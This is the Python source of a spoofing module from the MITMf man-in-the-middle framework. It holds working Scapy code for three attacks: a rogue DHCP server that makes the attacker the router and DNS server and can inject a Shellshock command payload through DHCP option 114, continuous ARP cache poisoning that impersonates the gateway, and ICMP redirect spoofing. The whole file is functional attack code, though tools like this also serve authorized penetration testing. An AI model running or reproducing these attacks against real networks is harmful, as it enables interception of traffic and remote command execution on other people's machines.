mirror of
https://github.com/byt3bl33d3r/MITMf.git
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242 lines
7.3 KiB
Python
242 lines
7.3 KiB
Python
#!/usr/bin/env python2.7
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# Copyright (c) 2014-2016 Marcello Salvati
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#
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# This program is free software; you can redistribute it and/or
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# modify it under the terms of the GNU General Public License as
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# published by the Free Software Foundation; either version 3 of the
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# License, or (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful, but
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# WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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# General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program; if not, write to the Free Software
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# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
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# USA
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#
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import logging
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import threading
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import binascii
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import random
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from base64 import b64decode
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from urllib import unquote
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from time import sleep
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logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
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from scapy.all import *
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class _DHCP():
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def __init__(self, interface, dhcpcfg, ip, mac):
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self.interface = interface
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self.ip_address = ip
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self.mac_address = mac
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self.shellshock = None
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self.debug = False
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self.dhcpcfg = dhcpcfg
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self.rand_number = []
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self.dhcp_dic = {}
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def start(self):
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t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
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t.setDaemon(True)
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t.start()
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def dhcp_sniff(self, interface):
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sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
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def dhcp_rand_ip(self):
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pool = self.dhcpcfg['ip_pool'].split('-')
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trunc_ip = pool[0].split('.'); del(trunc_ip[3])
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max_range = int(pool[1])
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min_range = int(pool[0].split('.')[3])
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number_range = range(min_range, max_range)
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for n in number_range:
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if n in self.rand_number:
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number_range.remove(n)
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rand_number = random.choice(number_range)
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self.rand_number.append(rand_number)
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rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
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return rand_ip
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def dhcp_callback(self, resp):
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if resp.haslayer(DHCP):
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xid = resp[BOOTP].xid
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mac_addr = resp[Ether].src
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raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
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if xid in self.dhcp_dic.keys():
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client_ip = self.dhcp_dic[xid]
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else:
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client_ip = self.dhcp_rand_ip()
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self.dhcp_dic[xid] = client_ip
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if resp[DHCP].options[0][1] is 1:
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logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
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logging.info("Sending DHCP OFFER")
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packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
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IP(src=self.ip_address, dst='255.255.255.255') /
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UDP(sport=67, dport=68) /
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BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
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DHCP(options=[("message-type", "offer"),
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('server_id', self.ip_address),
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('subnet_mask', self.dhcpcfg['subnet']),
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('router', self.ip_address),
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('lease_time', 172800),
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('renewal_time', 86400),
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('rebinding_time', 138240),
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"end"]))
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try:
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packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
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except KeyError:
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pass
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sendp(packet, iface=self.interface, verbose=self.debug)
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if resp[DHCP].options[0][1] is 3:
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logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
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packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
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IP(src=self.ip_address, dst='255.255.255.255') /
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UDP(sport=67, dport=68) /
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BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
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DHCP(options=[("message-type", "ack"),
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('server_id', self.ip_address),
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('subnet_mask', self.dhcpcfg['subnet']),
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('router', self.ip_address),
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('lease_time', 172800),
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('renewal_time', 86400),
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('rebinding_time', 138240)]))
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try:
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packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
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except KeyError:
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pass
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if self.shellshock:
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logging.info("Sending DHCP ACK with shellshock payload")
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packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
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packet[DHCP].options.append("end")
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else:
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logging.info("Sending DHCP ACK")
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packet[DHCP].options.append("end")
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sendp(packet, iface=self.interface, verbose=self.debug)
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class _ARP():
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def __init__(self, gateway, interface, mac):
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self.gateway = gateway
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self.gatewaymac = getmacbyip(gateway)
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self.mac = mac
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self.target = None
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self.targetmac = None
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self.interface = interface
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self.arpmode = 'req'
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self.debug = False
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self.send = True
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self.arp_inter = 3
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def start(self):
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if self.gatewaymac is None:
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sys.exit("[-] Error: Could not resolve gateway's MAC address")
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if self.target:
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self.targetmac = getmacbyip(self.target)
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if self.targetmac is None:
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sys.exit("[-] Error: Could not resolve target's MAC address")
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if self.arpmode == 'req':
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pkt = self.build_arp_req()
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elif self.arpmode == 'rep':
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pkt = self.build_arp_rep()
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t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,))
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t.setDaemon(True)
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t.start()
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def send_arps(self, pkt, interface, debug):
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while self.send:
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sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug)
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def stop(self):
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self.send = False
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sleep(3)
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self.arp_inter = 1
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if self.target:
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print "\n[*] Re-ARPing target"
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self.reARP_target(5)
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print "\n[*] Re-ARPing network"
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self.reARP_net(5)
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def build_arp_req(self):
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if self.target is None:
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pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
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elif self.target:
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pkt = Ether(src=self.mac, dst=self.targetmac)/\
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ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target)
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return pkt
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def build_arp_rep(self):
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if self.target is None:
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pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
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elif self.target:
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pkt = Ether(src=self.mac, dst=self.targetmac)/\
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ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2)
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return pkt
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def reARP_net(self, count):
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pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
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ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2)
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sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
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def reARP_target(self, count):
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pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
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ARP(psrc=self.target, hwsrc=self.targetmac, op=2)
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sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
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class _ICMP():
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def __init__(self, interface, target, gateway, ip_address):
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self.target = target
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self.gateway = gateway
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self.interface = interface
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self.ip_address = ip_address
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self.debug = False
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self.send = True
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self.icmp_interval = 2
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def build_icmp(self):
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pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
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IP(src=self.target, dst=self.gateway)/UDP()
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return pkt
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def start(self):
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pkt = self.build_icmp()
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t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
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t.setDaemon(True)
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t.start()
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def stop(self):
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self.send = False
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sleep(3)
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def send_icmps(self, pkt, interface, debug):
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while self.send:
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sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)
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